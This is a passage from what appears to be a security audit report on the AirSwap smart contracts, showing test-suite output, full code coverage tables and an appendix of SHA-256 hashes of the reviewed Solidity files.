nothing for an unstaked user (205ms) Contract: Indexer Unit Tests Check constructor ✓ should set the staking token address correctly Test createIndex ✓ createIndex should emit an event and create a new index (51ms) ✓ createIndex should create index for same token pair but different protocol (101ms) ✓ createIndex should just return an address if the index exists (88ms) Test addTokenToBlacklist and removeTokenFromBlacklist ✓ should not allow a non-owner to blacklist a token (47ms) ✓ should allow the owner to blacklist a token (56ms) ✓ should not emit an event if token is already blacklisted (73ms) ✓ should not allow a non-owner to un-blacklist a token (40ms) ✓ should allow the owner to un-blacklist a token (128ms) Test setIntent ✓ should not set an intent if the index doesnt exist (72ms) ✓ should not set an intent if the locator is not whitelisted (185ms) ✓ should not set an intent if a token is blacklisted (323ms) ✓ should not set an intent if the staking tokens arent approved (266ms) ✓ should set a valid intent on a non-whitelisted indexer (165ms) ✓ should set 2 intents for different protocols on the same market (325ms) ✓ should set a valid intent on a whitelisted indexer (230ms) ✓ should update an intent if the user has already staked - increase stake (369ms) ✓ should fail updating the intent when transfer of staking tokens fails (713ms) ✓ should update an intent if the user has already staked - decrease stake (397ms) ✓ should update an intent if the user has already staked - same stake (371ms) Test unsetIntent ✓ should not unset an intent if the index doesnt exist (44ms) ✓ should not unset an intent if the intent does not exist (146ms) ✓ should successfully unset an intent (294ms) ✓ should revert if unset an intent failed in token transfer (387ms) Test getLocators ✓ should return blank results if the index doesnt exist ✓ should return blank results if a token is blacklisted (204ms) ✓ should otherwise return the intents (758ms) Test getStakedAmount.call ✓ should return 0 if the index does not exist ✓ should retrieve the score on a token pair for a user (208ms) Contract: Indexer Deploying... ✓ Deployed staking token "AST" (39ms) ✓ Deployed trading token "DAI" (43ms) ✓ Deployed trading token "WETH" (45ms) ✓ Deployed Indexer contract (52ms) Index setup ✓ Bob creates a index (collection of intents) for WETH/DAI, LIBP2P (68ms) ✓ Bob tries to create a duplicate index (collection of intents) for WETH/DAI, LIBP2P (54ms)✓ Bob tries to create another index for WETH/DAI, but for Delegates (58ms) ✓ The owner can set and unset a locator whitelist for a locator type (397ms) ✓ Bob ensures no intents are on the Indexer for existing index (54ms) ✓ Bob ensures no intents are on the Indexer for non-existing index ✓ Alice attempts to stake and set an intent but fails due to no index (53ms) Staking ✓ Alice attempts to stake with 0 and set an intent succeeds (76ms) ✓ Alice attempts to unset an intent and succeeds (64ms) ✓ Fails due to no staking token balance (95ms) ✓ Staking tokens are minted for Alice and Bob (71ms) ✓ Fails due to no staking token allowance (102ms) ✓ Alice and Bob approve Indexer to spend staking tokens (64ms) ✓ Checks balances ✓ Alice attempts to stake and set an intent succeeds (86ms) ✓ Checks balances ✓ The Alice can unset alice's intent (113ms) ✓ Bob can set an intent on 2 indexes for the same market (397ms) ✓ Bob can increase his intent stake (193ms) ✓ Bob can decrease his intent stake and change his locator (225ms) ✓ Bob can keep the same stake amount (158ms) ✓ Owner sets the locator whitelist for delegates, and alice cannot set intent (98ms) ✓ Deploy a whitelisted delegate for alice (177ms) ✓ Bob can remove his unwhitelisted intent from delegate index (89ms) ✓ Remove locator whitelist from delegate index (73ms) Intent integrity ✓ Bob ensures only one intent is on the Index for libp2p (67ms) ✓ Alice attempts to unset non-existent index and reverts (50ms) ✓ Bob attempts to unset an intent and succeeds (81ms) ✓ Alice unsets her intent on delegate index and succeeds (77ms) ✓ Bob attempts to unset the intent he just unset and reverts (81ms) ✓ Checks balances (46ms) ✓ Bob ensures there are no more intents the Index for libp2p (55ms) ✓ Alice attempts to set an intent for libp2p and succeeds (91ms) Blacklisting ✓ Alice attempts to blacklist a index and fails because she is not owner (46ms) ✓ Owner attempts to blacklist a index and succeeds (57ms) ✓ Bob tries to fetch intent on blacklisted token ✓ Owner attempts to blacklist same asset which does not emit a new event (42ms) ✓ Alice attempts to stake and set an intent and fails due to blacklist (66ms) ✓ Alice attempts to unset an intent and succeeds regardless of blacklist (90ms) ✓ Alice attempts to remove from blacklist fails because she is not owner (44ms) ✓ Owner attempts to remove non-existent token from blacklist with no event emitted ✓ Owner attempts to remove token from blacklist and succeeds (41ms) ✓ Alice and Bob attempt to stake and set an intent and succeed (262ms) ✓ Bob fetches intents starting at bobAddress (72ms) ✓ shouldn't allow a locator of 0 (269ms) ✓ shouldn't allow a previous stake to be updated with locator 0 (308ms) 106 passing (19s) lerna info run Ran npm script 'test' in '@airswap/swap' in 32.4s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./contracts/interfaces/ISwap.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ Contract: Swap Handler Checks Deploying... ✓ Deployed Swap contract (1221ms) ✓ Deployed test contract "AST" (41ms) ✓ Deployed test contract "DAI" (41ms) ✓ Deployed test contract "OMG" (52ms) ✓ Deployed test contract "MintableERC1155Token" (48ms) ✓ Test adding transferHandler by non-owner reverts ✓ Set up TokenRegistry (290ms) Minting ERC20 tokens (AST, DAI, and OMG)... ✓ Mints 1000 AST for Alice (84ms) ✓ Mints 1000 OMG for Alice (83ms) ✓ Mints 1000 DAI for Bob (69ms) Approving ERC20 tokens (AST and DAI)... ✓ Checks approvals (Alice 250 AST, 200 OMG, and 0 DAI, Bob 0 AST and 1000 DAI) (238ms) Swaps (Fungible) ✓ Checks that Bob can swap with Alice (200 AST for 50 DAI) (300ms) ✓ Checks balances and allowances for Alice and Bob... (142ms) ✓ Checks that Alice cannot trade 200 AST more than allowance of 50 AST (66ms) ✓ Checks that Bob can not trade more than 950 DAI balance he holds (513ms) ✓ Checks remaining balances and approvals were not updated in failed trades (138ms) ✓ Adding an id with Fungible token will cause revert (513ms) ✓ Checks that adding an affiliate address still swaps (350ms) ✓ Transfers tokens back for future tests (339ms) Swaps (Non-standard Fungible) ✓ Checks that Bob can swap with Alice (200 OMG for 50 DAI) (299ms) ✓ Checks balances... (60ms) ✓ Checks that Bob cannot take the same order again (200 OMG for 50 DAI) (41ms) ✓ Checks balances and approvals... (94ms)✓ Checks that Alice cannot trade 200 OMG when allowance is 0 (126ms) ✓ Checks that Bob can not trade more OMG tokens than he holds (111ms) ✓ Checks remaining balances and approvals (135ms) Deploying NFT tokens... ✓ Deployed test contract "ConcertTicket" (50ms) ✓ Deployed test contract "Collectible" (42ms) Swaps with Fees ✓ Checks that Carol gets paid 50 AST for facilitating a trade between Alice and Bob (393ms) ✓ Checks balances... (93ms) ✓ Checks that Carol gets paid token ticket (#121) for facilitating a trade between Alice and Bob (540ms) Minting ERC721 Tokens ✓ Mints a concert ticket (#12345) for Alice (55ms) ✓ Mints a kitty collectible (#54321) for Bob (48ms) Swaps (Non-Fungible) with unknown kind ✓ Alice approves Swap to transfer her concert ticket (38ms) ✓ Alice sends Bob with an unknown kind for 100 DAI (492ms) Swaps (Non-Fungible) ✓ Alice approves Swap to transfer her concert ticket ✓ Bob cannot buy Ticket #12345 from Alice if she sends id and amount in Party struct (662ms) ✓ Bob buys Ticket #12345 from Alice for 100 DAI (303ms) ✓ Bob approves Swap to transfer his kitty collectible (40ms) ✓ Alice cannot buy Kitty #54321 from Bob for 50 AST if Kitty amount specified (565ms) ✓ Alice buys Kitty #54321 from Bob for 50 AST (423ms) ✓ Alice approves Swap to transfer her kitty collectible (53ms) ✓ Checks that Carol gets paid Kitty #54321 for facilitating a trade between Alice and Bob (389ms) Minting ERC1155 Tokens ✓ Mints 100 of Dragon game token (#10) for Alice (60ms) ✓ Mints 100 of Dragon game token (#15) for Bob (52ms) Swaps (ERC-1155) ✓ Alice approves Swap to transfer all the her ERC1155 tokens ✓ Bob cannot sell 5 Dragon Token (#15) to Alice when he did not approve them (398ms) ✓ Check the balances prior to ERC1155 token transfers (170ms) ✓ Bob buys 50 Dragon Token (#10) from Alice when she sends id and amount in Party struct (303ms) ✓ Checks that Carol gets paid 10 Dragon Token (#10) for facilitating a fungible token transfer trade between Alice and Bob (409ms) ✓ Check the balances after ERC1155 token transfers (161ms) Contract: Swap Unit Tests Test swap ✓ test when order is expired (46ms) ✓ test when order nonce is too low (86ms) ✓ test when sender is provided, and the sender is unauthorized (63ms) ✓ test when sender is provided, the sender is authorized, the signature.v is 0, and the signer wallet is unauthorized (80ms) ✓ test swap when sender and signer are the same (87ms) ✓ test adding ERC20TransferHandler that does not swap incorrectly and transferTokens reverts (445ms) Test cancel ✓ test cancellation with no items ✓ test cancellation with one item (54ms) ✓ test an array of nonces, ensure the cancellation of only those orders (140ms) Test cancelUpTo functionality ✓ test that given a minimum nonce for a signer is set (62ms) ✓ test that given a minimum nonce that all orders below a nonce value are cancelled Test authorize signer ✓ test when the message sender is the authorized signer Test revoke ✓ test that the revokeSigner is successfully removed (51ms) ✓ test that the revokeSender is successfully removed (49ms) Contract: Swap Deploying... ✓ Deployed Swap contract (197ms) ✓ Deployed test contract "AST" (44ms) ✓ Deployed test contract "DAI" (43ms) ✓ Check that TransferHandlerRegistry correctly set ✓ Set up TokenRegistry and ERC20TransferHandler (64ms) Minting ERC20 tokens (AST and DAI)... ✓ Mints 1000 AST for Alice (77ms) ✓ Mints 1000 DAI for Bob (74ms) Approving ERC20 tokens (AST and DAI)... ✓ Checks approvals (Alice 250 AST and 0 DAI, Bob 0 AST and 1000 DAI) (134ms) Swaps (Fungible) ✓ Checks that Alice cannot swap more than balance approved (2000 AST for 50 DAI) (529ms) ✓ Checks that Bob can swap with Alice (200 AST for 50 DAI) (289ms) ✓ Checks that Alice cannot swap with herself (200 AST for 50 AST) (86ms) ✓ Alice sends Bob with an unknown kind for 10 DAI (474ms) ✓ Checks balances... (64ms) ✓ Checks that Bob cannot take the same order again (200 AST for 50 DAI) (50ms) ✓ Checks balances... (66ms) ✓ Checks that Alice cannot trade more than approved (200 AST) (98ms) ✓ Checks that Bob cannot take an expired order (46ms) ✓ Checks that an order is expired when expiry == block.timestamp (52ms) ✓ Checks that Bob can not trade more than he holds (82ms) ✓ Checks remaining balances and approvals (212ms) ✓ Checks that adding an affiliate address but empty token address and amount still swaps (347ms) ✓ Transfers tokens back for future tests (304ms) Signer Delegation (Signer-side) ✓ Checks that David cannot make an order on behalf of Alice (85ms) ✓ Checks that David cannot make an order on behalf of Alice without signature (82ms) ✓ Alice attempts to incorrectly authorize herself to make orders ✓ Alice authorizes David to make orders on her behalf ✓ Alice authorizes David a second time does not emit an event ✓ Alice approves Swap to spend the rest of her AST ✓ Checks that David can make an order on behalf of Alice (314ms) ✓ Alice revokes authorization from David (38ms) ✓ Alice fails to try to revokes authorization from David again ✓ Checks that David can no longer make orders on behalf of Alice (97ms) ✓ Checks remaining balances and approvals (286ms) Sender Delegation (Sender-side) ✓ Checks that Carol cannot take an order on behalf of Bob (69ms) ✓ Bob tries to unsuccessfully authorize himself to be an authorized sender ✓ Bob authorizes Carol to take orders on his behalf ✓ Bob authorizes Carol a second time does not emit an event✓ Checks that Carol can take an order on behalf of Bob (308ms) ✓ Bob revokes sender authorization from Carol ✓ Bob fails to revoke sender authorization from Carol a second time ✓ Checks that Carol can no longer take orders on behalf of Bob (66ms) ✓ Checks remaining balances and approvals (205ms) Signer and Sender Delegation (Three Way) ✓ Alice approves David to make orders on her behalf (50ms) ✓ Bob approves David to take orders on his behalf (38ms) ✓ Alice gives an unsigned order to David who takes it for Bob (199ms) ✓ Checks remaining balances and approvals (160ms) Signer and Sender Delegation (Four Way) ✓ Bob approves Carol to take orders on his behalf ✓ David makes an order for Alice, Carol takes the order for Bob (345ms) ✓ Bob revokes the authorization to Carol ✓ Checks remaining balances and approvals (141ms) Cancels ✓ Checks that Alice is able to cancel order with nonce 1 ✓ Checks that Alice is unable to cancel order with nonce 1 twice ✓ Checks that Bob is unable to take an order with nonce 1 (46ms) ✓ Checks that Alice is able to set a minimum nonce of 4 ✓ Checks that Bob is unable to take an order with nonce 2 (50ms) ✓ Checks that Bob is unable to take an order with nonce 3 (58ms) ✓ Checks existing balances (Alice 650 AST and 180 DAI, Bob 350 AST and 820 DAI) (146ms) Swaps with Fees ✓ Checks that Carol gets paid 50 AST for facilitating a trade between Alice and Bob (410ms) ✓ Checks balances... (97ms) Swap with Public Orders (No Sender Set) ✓ Checks that a Swap succeeds without a sender wallet set (292ms) Signatures ✓ Checks that an invalid signer signature will revert (328ms) ✓ Alice authorizes Eve to make orders on her behalf ✓ Checks that an invalid delegate signature will revert (376ms) ✓ Checks that an invalid signature version will revert (146ms) ✓ Checks that a private key signature is valid (285ms) ✓ Checks that a typed data (EIP712) signature is valid (294ms) 131 passing (23s) lerna info run Ran npm script 'test' in '@airswap/delegate' in 29.7s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./contracts/interfaces/IDelegate.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ Contract: Delegate Factory Tests Test deploying factory ✓ should have set swapContract ✓ should have set indexerContract Test deploying delegates ✓ should emit event and update the mapping (135ms) ✓ should create delegate with the correct values (361ms) Contract: Delegate Unit Tests Test constructor ✓ Test initial Swap Contract ✓ Test initial trade wallet value ✓ Test initial protocol value ✓ Test constructor sets the owner as the trade wallet on empty address (193ms) ✓ Test owner is set correctly having been provided an empty address ✓ Test owner is set correctly if provided an address (180ms) ✓ Test indexer is unable to pull funds from delegate account (258ms) Test setRule ✓ Test setRule permissions as not owner (76ms) ✓ Test setRule permissions as owner (121ms) ✓ Test setRule (98ms) ✓ Test setRule for zero priceCoef does revert (62ms) Test unsetRule ✓ Test unsetRule permissions as not owner (89ms) ✓ Test unsetRule permissions (54ms) ✓ Test unsetRule (167ms) Test setRuleAndIntent() ✓ Test calling setRuleAndIntent with transfer error (589ms) ✓ Test successfully calling setRuleAndIntent with 0 staked amount (260ms) ✓ Test successfully calling setRuleAndIntent with staked amount (312ms) ✓ Test unsuccessfully calling setRuleAndIntent with decreased staked amount (998ms) Test unsetRuleAndIntent() ✓ Test calling unsetRuleAndIntent() with transfer error (466ms) ✓ Test successfully calling unsetRuleAndIntent() with 0 staked amount (179ms) ✓ Test successfully calling unsetRuleAndIntent() with staked amount (515ms) ✓ Test successfully calling unsetRuleAndIntent() with staked amount (427ms) Test setTradeWallet ✓ Test setTradeWallet when not owner (81ms) ✓ Test setTradeWallet when owner (148ms) ✓ Test setTradeWallet with empty address (88ms) Test transfer of ownership✓ Test ownership after transfer (103ms) Test getSignerSideQuote ✓ test when rule does not exist ✓ test when delegate amount is greater than max delegate amount (88ms) ✓ test when delegate amount is 0 (102ms) ✓ test a successful call - getSignerSideQuote (91ms) Test getSenderSideQuote ✓ test when rule does not exist (64ms) ✓ test when delegate amount is not within acceptable value bounds (104ms) ✓ test a successful call - getSenderSideQuote (68ms) Test getMaxQuote ✓ test when rule does not exist ✓ test a successful call - getMaxQuote (67ms) Test provideOrder ✓ test if a rule does not exist (84ms) ✓ test if an order exceeds maximum amount (120ms) ✓ test if the sender is not empty and not the trade wallet (107ms) ✓ test if order is not priced according to the rule (118ms) ✓ test if order sender and signer amount are not matching (191ms) ✓ test if order signer kind is not an ERC20 interface id (110ms) ✓ test if order sender kind is not an ERC20 interface id (123ms) ✓ test a successful transaction with integer values (310ms) ✓ test a successful transaction with trade wallet as sender (278ms) ✓ test a successful transaction with decimal values (253ms) ✓ test a getting a signerSideQuote and passing it into provideOrder (241ms) ✓ test a getting a senderSideQuote and passing it into provideOrder (252ms) ✓ test a getting a getMaxQuote and passing it into provideOrder (252ms) ✓ test the signer trying to trade just 1 unit over the rule price - fails (121ms) ✓ test the signer trying to trade just 1 unit less than the rule price - passes (212ms) ✓ test the signer trying to trade the exact amount of rule price - passes (269ms) ✓ Send order without signature to the delegate (55ms) Contract: Delegate Integration Tests Test the delegate constructor ✓ Test that delegateOwner set as 0x0 passes (87ms) ✓ Test that trade wallet set as 0x0 passes (83ms) Checks setTradeWallet ✓ Does not set a 0x0 trade wallet (41ms) ✓ Does set a new valid trade wallet address (80ms) ✓ Non-owner cannot set a new address (42ms) Checks set and unset rule ✓ Set and unset a rule for WETH/DAI (123ms) ✓ Test setRule for zero priceCoef does revert (52ms) Test setRuleAndIntent() ✓ Test successfully calling setRuleAndIntent (345ms) ✓ Test successfully increasing stake with setRuleAndIntent (312ms) ✓ Test successfully decreasing stake to 0 with setRuleAndIntent (313ms) ✓ Test successfully calling setRuleAndIntent (318ms) ✓ Test successfully calling setRuleAndIntent with no-stake change (196ms) Test unsetRuleAndIntent() ✓ Test successfully calling unsetRuleAndIntent() (223ms) ✓ Test successfully setting stake to 0 with setRuleAndIntent and then unsetting (402ms) Checks pricing logic from the Delegate ✓ Send up to 100K WETH for DAI at 300 DAI/WETH (76ms) ✓ Send up to 100K DAI for WETH at 0.0032 WETH/DAI (71ms) ✓ Send up to 100K WETH for DAI at 300.005 DAI/WETH (110ms) Checks quotes from the Delegate ✓ Gets a quote to buy 23412 DAI for WETH (Quote: 74.9184 WETH) ✓ Gets a quote to sell 100K (Max) DAI for WETH (Quote: 320 WETH) ✓ Gets a quote to sell 1 WETH for DAI (Quote: 312.5 DAI) ✓ Gets a quote to sell 500 DAI for WETH (False: No rule) ✓ Gets a max quote to buy WETH for DAI ✓ Gets a max quote for a non-existent rule (100ms) ✓ Gets a quote to buy WETH for 250000 DAI (False: Exceeds Max) ✓ Gets a quote to buy 500 WETH for DAI (False: Exceeds Max) Test tradeWallet logic ✓ should not trade for a different wallet (72ms) ✓ should not accept open trades (65ms) ✓ should not trade if the tradeWallet hasn't authorized the delegate to send (290ms) ✓ should not trade if the tradeWallet's authorization has been revoked (327ms) ✓ should trade if the tradeWallet has authorized the delegate to send (601ms) Provide some orders to the Delegate ✓ Use quote with non-existent rule (90ms) ✓ Send order without signature to the delegate (107ms) ✓ Use quote larger than delegate rule (117ms) ✓ Use incorrect price on delegate (78ms) ✓ Use quote with incorrect signer token kind (80ms) ✓ Use quote with incorrect sender token kind (93ms) ✓ Gets a quote to sell 1 WETH and takes it, swap fails (275ms) ✓ Gets a quote to sell 1 WETH and takes it, swap passes (463ms) ✓ Gets a quote to sell 1 WETH where sender != signer, passes (475ms) ✓ Queries signerSideQuote and passes the value into an order (567ms) ✓ Queries senderSideQuote and passes the value into an order (507ms) ✓ Queries getMaxQuote and passes the value into an order (613ms) 98 passing (22s) lerna info run Ran npm script 'test' in '@airswap/debugger' in 12.3s: $ mocha test --timeout 3000 --exit Orders ✓ Check correct order without signature (1281ms) ✓ Check correct order with signature (991ms) ✓ Check expired order (902ms) ✓ Check invalid signature (816ms) ✓ Check order without allowance (1070ms) ✓ Check NFT order without balance or allowance (1080ms) ✓ Check invalid token kind (654ms) ✓ Check NFT order without allowance (1045ms) ✓ Check NFT order to an invalid contract (1196ms) ✓ Check NFT order to a valid contract (1225ms)✓ Check order without balance (839ms) 11 passing (11s) lerna info run Ran npm script 'test' in '@airswap/pre-swap-checker' in 11.6s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. Contract: PreSwapChecker Deploying... ✓ Deployed Swap contract (217ms) ✓ Deployed SwapChecker contract ✓ Deployed test contract "AST" (56ms) ✓ Deployed test contract "DAI" (40ms) Minting... ✓ Mints 1000 AST for Alice (76ms) ✓ Mints 1000 DAI for Bob (78ms) Approving... ✓ Checks approvals (Alice 250 AST and 0 DAI, Bob 0 AST and 500 DAI) (186ms) Swaps (Fungible) ✓ Checks fillable order is empty error array (517ms) ✓ Checks that Alice cannot swap with herself (200 AST for 50 AST) (296ms) ✓ Checks error messages for invalid balances and approvals (236ms) ✓ Checks filled order emits error (641ms) ✓ Checks expired, low nonced, and invalid sig order emits error (315ms) ✓ Alice authorizes Carol to make orders on her behalf (38ms) ✓ Check from a different approved signer and empty sender address (271ms) Deploying non-fungible token... ✓ Deployed test contract "Collectible" (49ms) Minting and testing non-fungible token... ✓ Mints a kitty collectible (#54321) for Bob (55ms) ✓ Alice tries to buys non-owned Kitty #54320 from Bob for 50 AST causes revert (97ms) ✓ Alice tries to buys non-approved Kitty #54321 from Bob for 50 AST (192ms) 18 passing (4s) lerna info run Ran npm script 'test' in '@airswap/wrapper' in 22.7s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. Contract: Wrapper Unit Tests Test initial values ✓ Test initial Swap Contract ✓ Test initial Weth Contract ✓ Test fallback function revert Test swap() ✓ Test when sender token != weth, ensure no unexpected ether sent (78ms) ✓ Test when sender token == weth, ensure the sender amount matches sent ether (119ms) ✓ Test when sender token == weth, signer token == weth, and the transaction passes (362ms) ✓ Test when sender token == weth, signer token != weth, and the transaction passes (243ms) ✓ Test when sender token == weth, signer token != weth, and the wrapper token transfer fails (122ms) Test swap() with two ERC20s ✓ Test when sender token == non weth erc20, signer token == non weth erc20 but msg.sender is not senderwallet (55ms) ✓ Test when sender token == non weth erc20, signer token == non weth erc20, and the transaction passes (172ms) Test provideDelegateOrder() ✓ Test when signer token != weth, but unexpected ether sent (84ms) ✓ Test when signer token == weth, but no ether is sent (101ms) ✓ Test when signer token == weth, but no signature is sent (54ms) ✓ Test when signer token == weth, but incorrect amount of ether sent (63ms) ✓ Test when signer token == weth, correct eth sent, tx passes (247ms) ✓ Test when signer token != weth, sender token == weth, wrapper cant transfer eth (506ms) ✓ Test when signer token != weth, sender token == weth, tx passes (291ms) Contract: Wrapper Setup ✓ Mints 1000 DAI for Alice (49ms) ✓ Mints 1000 AST for Bob (57ms) Approving... ✓ Alice approves Swap to spend 1000 DAI (40ms) ✓ Bob approves Swap to spend 1000 AST ✓ Bob approves Swap to spend 1000 WETH ✓ Bob authorizes the Wrapper to send orders on his behalf Test swap(): Wrap Buys ✓ Checks that Bob take a WETH order from Alice using ETH (513ms) Test swap(): Unwrap Sells ✓ Carol gets some WETH and approves on the Swap contract (64ms) ✓ Alice authorizes the Wrapper to send orders on her behalf ✓ Alice approves the Wrapper contract to move her WETH ✓ Checks that Alice receives ETH for a WETH order from Carol (460ms) Test swap(): Sending ether and WETH to the WrapperContract without swap issues ✓ Sending ether to the Wrapper Contract ✓ Sending WETH to the Wrapper Contract (70ms) ✓ Alice approves Swap to spend 1000 DAI ✓ Send order where the sender does not send the correct amount of ETH (69ms) ✓ Send order where Bob sends Eth to Alice for DAI (422ms)✓ Reverts if the unwrapped ETH is sent to a non-payable contract (1117ms) Test swap(): Sending nonWETH ERC20 ✓ Alice approves Swap to spend 1000 DAI (38ms) ✓ Bob approves Swap to spend 1000 AST ✓ Send order where Bob sends AST to Alice for DAI (447ms) ✓ Send order where the sender is not the sender of the order (100ms) ✓ Send order without WETH where ETH is incorrectly supplied (70ms) ✓ Send order where Bob sends AST to Alice for DAI w/ authorization but without signature (48ms) Test provideDelegateOrder() Wrap Buys ✓ Check Carol sending no ETH with order (66ms) ✓ Check Carol not signing order (46ms) ✓ Check Carol sets the wrong sender wallet (217ms) ✓ Check delegate owner hasnt authorised the delegate as sender swap (390ms) ✓ Check Carol hasnt given swap approval to swap WETH (906ms) ✓ Check successful ETH wrap and swap through delegate contract (575ms) Unwrap Sells ✓ Check Carol sending ETH when she shouldnt (64ms) ✓ Check Carol not signing the order (42ms) ✓ Check Carol hasnt given swap approval to swap DAI (1043ms) ✓ Check Carol doesnt approve wrapper to transfer weth (951ms) ✓ Check successful ETH wrap and swap through delegate contract (646ms) 51 passing (15s) lerna success run Ran npm script 'test' in 9 packages in 155.7s: lerna success - @airswap/delegate lerna success - @airswap/indexer lerna success - @airswap/swap lerna success - @airswap/transfers lerna success - @airswap/types lerna success - @airswap/wrapper lerna success - @airswap/debugger lerna success - @airswap/order-utils lerna success - @airswap/pre-swap-checker ✨ Done in 222.01s. Code CoverageFile % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Delegate.sol 100 100 100 100 Imports.sol 100 100 100 100 contracts/ interfaces/ 100 100 100 100 IDelegate.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 DelegateFactory.sol 100 100 100 100 Imports.sol 100 100 100 100 contracts/ interfaces/ 100 100 100 100 IDelegateFactory.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Index.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Indexer.sol 100 100 100 100 contracts/ interfaces/ 100 100 100 100 IIndexer.sol 100 100 100 100 ILocatorWhitelist.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Swap.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Types.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Wrapper.sol 100 100 100 100 All files 100 100 100 100 Appendix File Signatures The following are the SHA-256 hashes of the reviewed files. A file with a different SHA-256 hash has been modified, intentionally or otherwise, after thesecurity review. You are cautioned that a different SHA-256 hash could be (but is not necessarily) an indication of a changed condition or potential vulnerability that was not within the scope of the review. Contracts 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/indexer/contracts/Migrations.sol 853f79563b2b4fba199307619ff5db6b86ceae675eb259292f752f3126c21236 ./source/indexer/contracts/Imports.sol b7d114e1b96633016867229abb1d8298c12928bd6e6935d1969a3e25133d0ae3 ./source/indexer/contracts/Indexer.sol cb278eb599018f2bcff3e7eba06074161f3f98072dc1f11446da6222111e6fb6 ./source/indexer/contracts/interfaces/IIndexer.sol ae69440b7cc0ebde7d315079effaaf6db840a5c36719e64134d012f183a82b3c ./source/indexer/contracts/interfaces/ILocatorWhitelist.sol 0ce96202a3788403e815bcd033a7c2528d2eceb9e6d0d21f58fd532e0721c3f3 ./source/tokens/contracts/WETH9.sol f49af1f0a94dc5d58725b7715ff4a1f241626629aa68c442dd51c540f3b40ee7 ./source/tokens/contracts/NonFungibleToken.sol 13e6724efe593830fdd839337c2735a9bfbd6c72fc6134d9622b1f38da734fed ./source/tokens/contracts/IERC721Receiver.sol b0baff5c036f01ac95dae20048f6ee4716796b293f066d603a2934bee8aa049f ./source/tokens/contracts/OrderTest721.sol 27ffdcc5bfb7e1352c69f56869a43db1b1d76ee9856fbfd817d6a3be3d378a89 ./source/tokens/contracts/FungibleToken.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/tokens/contracts/Migrations.sol a41dd3eaddff2d0ce61f9d0d2d774f57bf286ba7534fe7392cb331c52587f007 ./source/tokens/contracts/AdaptedERC721.sol a497e0e9c84e431234f8ef23e5a3bb72e0a8d8e5381909cc9f274c6f8f0f8693 ./source/tokens/contracts/KittyCore.sol afc8395fc3e20eb17d99ae53f63cae764250f5dda6144b0695c9eb3c29065daa ./source/tokens/contracts/OMGToken.sol f07b61827716f0e44db91baabe9638eef66e85fb2d720e1b221ee03797eb0c16 ./source/tokens/contracts/interfaces/IWETH.sol 2f4455987f24caf5d69bd9a3c469b05350ec5b0cc62cc829109cfa07a9ed184c ./source/tokens/contracts/interfaces/INRERC20.sol 4deea5147ee8eedbeaf394454e63a32bce34003266358abb7637843eec913109 ./source/index/contracts/Index.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/index/contracts/Migrations.sol 8304b9b7777834e7dd882ecef91c8376160da6a6dd6e4c7c9f9b99bb8a0ddb08 ./source/index/contracts/Imports.sol 93dbd794dd6bbc93c47a11dc734efb6690495a1d5138036ebee8687edeb25dc6 ./source/delegate- factory/contracts/DelegateFactory.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/delegate- factory/contracts/Migrations.sol d4641deca8ebf06d554ef39b9fe90f2db23f40be7557d8bbc5826428ba9b0d0a ./source/delegate-factory/contracts/Imports.sol 6371ccf87ef8e8cddfceab2903a109714ab5bcaaa72e7096bff9b8f0a7c643a9 ./source/delegate- factory/contracts/interfaces/IDelegateFactory.sol c3762a171563d0d2614da11c4c0e17a722aa2bc4a4efa126b54420a3d7e7e5b1 ./source/delegate/contracts/Migrations.sol 0843c702ea883afa38e874a9d16cb4830c3c8e6dadf324ddbe0f397dd5f67aeb ./source/delegate/contracts/Imports.sol cbe7e7fa0e85995f86dde9f103897ac533a42c78ee017a49d29075adf5152be4 ./source/delegate/contracts/Delegate.sol 4ea8cec0ad9ff88426e7687384f5240d4444ee48407ddd07e39ab527ba70d94e ./source/delegate/contracts/interfaces/IDelegate.sol c3762a171563d0d2614da11c4c0e17a722aa2bc4a4efa126b54420a3d7e7e5b1 ./source/swap/contracts/Migrations.sol 3d764b8d0ebb2aa5c765f0eb0ef111564af96813fd6427c39d8a11c4251cbba2 ./source/swap/contracts/Imports.sol 001573b0de147db510c6df653935505d7f0c3e24d0d5028ebfdffa06055b9508 ./source/swap/contracts/Swap.sol b2693adaefd67dfcefd6e942aee9672469d0635f8c6b96183b57667e82f9be73 ./source/swap/contracts/interfaces/ISwap.sol 